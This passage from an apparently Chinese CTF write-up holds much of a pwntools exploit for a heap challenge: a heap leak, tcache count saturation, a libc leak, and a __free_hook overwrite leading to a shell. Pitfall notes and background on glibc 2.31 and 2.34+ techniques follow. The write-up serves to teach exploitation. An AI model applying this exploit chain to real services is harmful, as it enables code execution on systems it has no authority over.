io.send(p32(9) + p32(100) + p64(0) + p32(0) + p32(0) + p64(0x31))
# ==================================================================
# Phase 3: 分配 review
# ==================================================================
log.info("Phase 3: Allocating reviews")
menu(io, b'5'); io.sendlineafter(b'role: <0.teacher/1.student>:', b'0')
# review[1]: 1023 字节 → 0x410 chunk
menu(io, b'3')
io.sendlineafter(b'which one? >', b'1')
io.sendlineafter(b'please input the size of comment:', b'1023')
io.recvuntil(b'enter your comment:')
io.send(b'\x00' * 1023)
# review[2]: "/bin/sh" (备用)
menu(io, b'3')
io.sendlineafter(b'which one? >', b'2')
io.sendlineafter(b'please input the size of comment:', b'8')
io.recvuntil(b'enter your comment:')
io.send(b'/bin/sh\x00')
# review[3]: 占位 (最终 payload)
menu(io, b'3')
io.sendlineafter(b'which one? >', b'3')
io.sendlineafter(b'please input the size of comment:', b'8')
io.recvuntil(b'enter your comment:')
io.send(b'XXXXXXXX')
# ==================================================================
# Phase 4: 堆地址泄露
# ==================================================================
log.info("Phase 4: Heap leak")
menu(io, b'5'); io.sendlineafter(b'role: <0.teacher/1.student>:', b'1')
menu(io, b'6'); io.sendlineafter(b'input your id:', b'1')
menu(io, b'2') # check_review → printf("%p", student)
io.recvuntil(b'Good Job! Here is your reward! ')
student1_addr = int(io.recvline().strip(), 16)
heap_base = student1_addr - 0x320
log.success(f"Heap base @ {heap_base:#x}")
sub0 = heap_base + 0x2d0
sub1 = heap_base + 0x350
r1data = heap_base + 0x520
r3data = heap_base + 0x950
c3f = heap_base + 0x10 + 0x3f
rf1 = heap_base + 0x33c
io.recvuntil(b'add 1 to wherever you want! addr: ')
send_addr(io, rf1)
io.recvuntil(b'choice>>')
# ==================================================================
# Phase 5: 重设 mode_ptr = &sub[1],后续 set_mode 直接写 sub[1]
# ==================================================================
log.info("Phase 5: Set mode_ptr = sub1")
io.sendline(b'3') # pray ON
menu(io, b'4')
io.sendlineafter(b'enter your pray score: 0 to 100', b'48')
menu(io, b'3') # pray OFF
menu(io, b'4') # → 写 student[1]+0x10
io.recvuntil(b'enter your mode!')
io.send(p64(sub1) + p32(0) + p32(0) + p64(0) + p64(0x21))
# ==================================================================
# Phase 6: Tcache count saturation — counts[0x3f] = 7
# 写入两个可能的偏移(uint8_t 和 uint16_t),兼容所有情况
# ==================================================================
log.info("Phase 6: counts[0x3f] = 7")
menu(io, b'4')
io.recvuntil(b'enter your mode!')
io.send(p32(9) + p32(100) + p64(c3f) + p32(1) + p32(0) + p64(0x31))
menu(io, b'5'); io.sendlineafter(b'role: <0.teacher/1.student>:', b'0')
menu(io, b'3')
io.sendlineafter(b'which one? >', b'1')
io.recvuntil(b'enter your comment:')
io.send(b'\x07')
c3f_u16 = heap_base + 0x10 + 0x3f * 2
menu(io, b'5'); io.sendlineafter(b'role: <0.teacher/1.student>:', b'1')
menu(io, b'6'); io.sendlineafter(b'input your id:', b'1')
menu(io, b'4')
io.recvuntil(b'enter your mode!')
io.send(p32(9) + p32(100) + p64(c3f_u16) + p32(2) + p32(0) + p64(0x31))
menu(io, b'5'); io.sendlineafter(b'role: <0.teacher/1.student>:', b'0')
menu(io, b'3')
io.sendlineafter(b'which one? >', b'1')
io.recvuntil(b'enter your comment:')
io.send(b'\x07\x00')
log.success("counts[0x3f] = 7")
# ==================================================================
# Phase 7: 配置 sub[0] 准备读 unsorted bin fd
# ==================================================================
log.info("Phase 7: Configure sub[0] for libc leak")
menu(io, b'5'); io.sendlineafter(b'role: <0.teacher/1.student>:', b'1')
menu(io, b'6'); io.sendlineafter(b'input your id:', b'1')
menu(io, b'4')
io.recvuntil(b'enter your mode!')
io.send(p32(9) + p32(100) + p64(sub0) + p32(0x18) + p32(0) + p64(0x31))
menu(io, b'5'); io.sendlineafter(b'role: <0.teacher/1.student>:', b'0')
menu(io, b'3')
io.sendlineafter(b'which one? >', b'1')
io.recvuntil(b'enter your comment:')
io.send(p32(9) + p32(100) + p64(r1data) + p32(8) + b'\x00' * 4)
# ★ 恢复 sub[1].review_buf = r1data,否则 call_parent 会 free 错误的东西
menu(io, b'5'); io.sendlineafter(b'role: <0.teacher/1.student>:', b'1')
menu(io, b'6'); io.sendlineafter(b'input your id:', b'1')
menu(io, b'4')
io.recvuntil(b'enter your mode!')
io.send(p32(9) + p32(100) + p64(r1data) + p32(8) + p32(0) + p64(0x31))
# ==================================================================
# Phase 8: call_parent(1) → review[1] 进 unsorted bin
# ==================================================================
log.info("Phase 8: call_parent(1)")
menu(io, b'5'); io.sendlineafter(b'role: <0.teacher/1.student>:', b'0')
menu(io, b'4')
io.sendlineafter(b'which student id to choose?', b'1')
log.success("call_parent(1) done")
# ==================================================================
# Phase 9: Libc 泄露
# ==================================================================
log.info("Phase 9: Libc leak")
menu(io, b'5'); io.sendlineafter(b'role: <0.teacher/1.student>:', b'1')
menu(io, b'6'); io.sendlineafter(b'input your id:', b'0')
menu(io, b'2')
io.recvuntil(b'Good Job! Here is your reward! ')
io.recvline()
io.recvuntil(b'add 1 to wherever you want! addr: ')
send_addr(io, rf1)
io.recvuntil(b'here is the review:\n')
libc_leak = u64(io.recv(8).ljust(8, b'\x00'))
if libc_leak < 0x7f0000000000:
log.error("Bad libc leak")
io.close()
return False
libc_base = libc_leak - UNSORTED_BIN_OFF
system_addr = libc_base + SYSTEM_OFF
free_hook = libc_base + FREE_HOOK_OFF
log.success(f"libc base @ {libc_base:#x}")
log.info(f"system @ {system_addr:#x}")
log.info(f"__free_hook @ {free_hook:#x}")
io.recvuntil(b'choice>>')
# ==================================================================
# Phase 10: __free_hook = system (用 student 3 的 type confusion)
# ==================================================================
log.info("Phase 10: __free_hook = system (via student 3)")
io.sendline(b'6')
io.sendlineafter(b'input your id:', b'3')
menu(io, b'3')
menu(io, b'4')
io.sendlineafter(b'enter your pray score: 0 to 100', b'80')
menu(io, b'3')
menu(io, b'4')
io.recvuntil(b'enter your mode!')
io.send(p32(9) + p32(9) + p64(free_hook) + p32(8) + p32(0) + p64(0x31))
menu(io, b'5'); io.sendlineafter(b'role: <0.teacher/1.student>:', b'0')
menu(io, b'3')
io.sendlineafter(b'which one? >', b'3')
io.recvuntil(b'enter your comment:')
io.send(p64(system_addr))
log.success("__free_hook = system")
# ==================================================================
# Phase 11: 触发 → free("sh") → system("sh") → shell
# ==================================================================
log.info("Phase 11: Trigger shell")
menu(io, b'5'); io.sendlineafter(b'role: <0.teacher/1.student>:', b'1')
menu(io, b'6'); io.sendlineafter(b'input your id:', b'3')
menu(io, b'4')
io.recvuntil(b'enter your mode!')
io.send(p32(9) + p32(9) + p64(r3data) + p32(0x18) + p32(0) + p64(0x31))
menu(io, b'5'); io.sendlineafter(b'role: <0.teacher/1.student>:', b'0')
menu(io, b'3')
io.sendlineafter(b'which one? >', b'3')
io.recvuntil(b'enter your comment:')
io.send(b'sh\x00')
menu(io, b'4')
io.sendlineafter(b'which student id to choose?', b'3')
# 获取 flag
io.sendline(b'cat flag.txt')
try:
out = io.recvuntil(b'}', timeout=5)
flag = out[out.index(b'ISCC{'):out.index(b'}') + 1]
log.success(f"Flag: {flag.decode()}")
except:
log.warning("Flag not captured, entering interactive mode")
io.interactive()
return True
if __name__ == '__main__':
exploit()
0x07 踩坑记录
坑 1:sub chunk 大小是 0x20 不是 0x30
calloc(1, 0x18) 请求 24 字节,计算 chunk size:
(0x18 + 8 + 15) & ~15 = 0x2f & ~0xf = 0x20
一开始按 0x30 算导致整个 heap layout 偏移全错,所有地址都不对。
坑 2:set_mode 溢出破坏下一个 chunk 的 size 字段
set_mode 硬编码写 0x20 字节,sub 只有 0x18 字节。多余 8 字节覆盖下一个 chunk 的 size。每次构造 payload 都要在末尾带上正确的 size(0x31 或 0x21)。
坑 3:call_parent 之前必须恢复 review_buf
call_parent 通过 sub->review_buf 找到要 free 的 review。之前为了做任意写把 review_buf 改成了别的地址,不恢复就会 free 一段无效内存导致 crash。
坑 4:tcache counts 的类型不确定
glibc 2.31 原版是 uint8_t,但有些 backport 改成了 uint16_t。远程用的是哪个无法提前知道,所以两个偏移都写一遍最稳。
坑 5:role 状态机
教师菜单和学生菜单是不同的,每次操作前后要注意当前在哪个 role。change role (option 5) 会切换。
坑 6:只有 student 1 和 3 能做 type confusion
pray_score 修改 mode_ptr 的 LSB,范围只有 0100(0x000x64)。
对于 student 1:&mode[1] = 0x...370,&sub[1] = 0x...350,差值是 0x20 < 0x64 ✓
对于 student 3:&mode[3] = 0x...470,&sub[3] = 0x...450,差值 0x20 ✓
对于 student 0/2/4:差值 0x10 但不匹配 LSB 要求(需要 0xd0,超过 100)
0x08 扩展知识
8.1 为什么 calloc 不取 tcache?
glibc 2.31 源码中 calloc 的实现直接调用了 _int_malloc,跳过了 tcache 的检查路径。原因是 calloc 需要保证返回的内存已被清零。tcache 中的 chunk 可能残留之前用户的数据,不符合"清零"的语义。
直到 glibc 2.33,calloc 才开始使用 tcache。
8.2 glibc 2.34+ 的新变化
从 glibc 2.34 开始:
__free_hook和__malloc_hook被完全移除- tcache 增加了 pointer guard(
safe_link),对 fd 指针做 XOR 混淆 - tcache count 改为
uint16_t calloc可以使用 tcache
这意味着此题的手法在 glibc 2.34+ 环境下需要改用其他技巧(如 House of Apple, FSOP 等)。
8.3 其他常见的 libc 泄露方法
| 方法 | 条件 | 说明 |
|---|---|---|
| unsorted bin leak | 需要 free 一个 > 0x410 的 chunk 进 unsorted bin | 本题使用的方法 |
| fastbin dup | 需要 double free(glibc 2.27- 无检查) | 老版本常见 |
| tcache dup | 需要 double free(glibc 2.27-2.28 无检查) | 比 fastbin 更简单 |
| stdout leak | 修改 stdout 的 flags/_IO_write_base | 需要任意写 |
| large bin attack | 需要 large bin 和可控 chunk | 复杂但有效 |
8.4 tcache count saturation 的通用性
这个技巧不仅适用于本题。任何场景下,只要:
- 目标程序使用
calloc分配(不取 tcache) - 能控制 tcache counts(哪怕只是一个字节的写入)
- 需要让某个 chunk 进 unsorted bin
就可以用。特别适用于开启了 safe_link 后的高版本 glibc(因为 tcache 进不去,改了 count 就能强行绕开)。
0x09 总结
type confusion
│
▼
任意读写 sub 结构体
│
┌────────┼────────┐
▼ ▼ ▼
tcache sub[0] sub[3]
count review_buf review_buf
=7 = r1data = free_hook
│ │ │
▼ ▼ ▼
free(0x410) libc __free_hook
→unsorted 泄露 = system
bin │
│ ▼
▼ free("sh")
libc → system("sh")
泄露 → SHELL
整条利用链的核心思想:绕过 calloc 的 tcache 限制 → 泄露 libc → 劫持 __free_hook → 拿 shell。中间涉及的每个小技巧(type confusion、count saturation、unsorted bin leak)拆开来看都不难,但串在一起且细节都对上需要耐心调试。

评论区
评论加载中...